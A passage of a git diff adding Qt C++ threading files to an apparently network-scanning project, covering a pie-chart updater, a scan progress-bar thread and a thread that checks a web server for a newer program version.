+class PieStat : public QThread +{ + Q_OBJECT + +public: +public: signals: void sUpdatePie(); + +public: + void doEmitUpdatePie(); +protected: + void run(); +}; +extern PieStat *psTh; + +#endif // PIESTAT_H diff --git a/progressbardrawer.cpp b/progressbardrawer.cpp new file mode 100644 index 0000000..2496287 --- /dev/null +++ b/progressbardrawer.cpp @@ -0,0 +1,18 @@ +#include "progressbardrawer.h" +#include "externData.h" + +void ProgressbarDrawer::update() +{ + emit pbTh->upd(); +}; + +int nesca_3::perc = 0; +void ProgressbarDrawer::run() +{ + while(globalScanFlag) + { + msleep(1000); + nesca_3::perc = (unsigned long)100*indexIP/(gTargetsOverall == 0 ? 1 : gTargetsOverall); + update(); + }; +}; \ No newline at end of file diff --git a/progressbardrawer.h b/progressbardrawer.h new file mode 100644 index 0000000..48b5f3b --- /dev/null +++ b/progressbardrawer.h @@ -0,0 +1,19 @@ +#ifndef PROGRESSBARDRAWER_H +#define PROGRESSBARDRAWER_H + +#pragma once +#include "nesca_3.h" + +class ProgressbarDrawer : public QThread +{ + Q_OBJECT + +public: signals: void upd(); +public: + void update(); +protected: + void run(); +}; +extern ProgressbarDrawer *pbTh; + +#endif // PROGRESSBARDRAWER_H diff --git a/resource.h b/resource.h new file mode 100644 index 0000000..3619945 Binary files /dev/null and b/resource.h differ diff --git a/vercheckerthread.cpp b/vercheckerthread.cpp new file mode 100644 index 0000000..32326b4 --- /dev/null +++ b/vercheckerthread.cpp @@ -0,0 +1,34 @@ +#include "vercheckerthread.h" +#include "externData.h" +#include "mainResources.h" + +void _checkVer() +{ + Connector con; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + con._EstablishConnection("nesca.d3w.org", 80, "GET /version HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n", &CSTR, 1); + + char *ptr1 = NULL; + if(CSTR.lowerBuff != NULL) + { + if(strstr(CSTR.lowerBuff, "\r\n\r\n") != 0) + { + ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); + if(strcmp(gVER, ptr1 + 4) != 0) + { + stt->doEmitionShowRedVersion(); + }; + }; + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + vct->terminate(); +}; + +void VerCheckerThread::run() +{ + _checkVer(); +}; diff --git a/vercheckerthread.h b/vercheckerthread.h new file mode 100644 index 0000000..cdb8af5 --- /dev/null +++ b/vercheckerthread.h @@ -0,0 +1,18 @@ +#ifndef VERCHECKERTHREAD_H +#define VERCHECKERTHREAD_H + +#pragma once +#include "STh.h" + +class VerCheckerThread : public QThread +{ + Q_OBJECT + +public: + +protected: + void run(); +}; + +extern VerCheckerThread *vct; +#endif // VERCHECKERTHREAD_H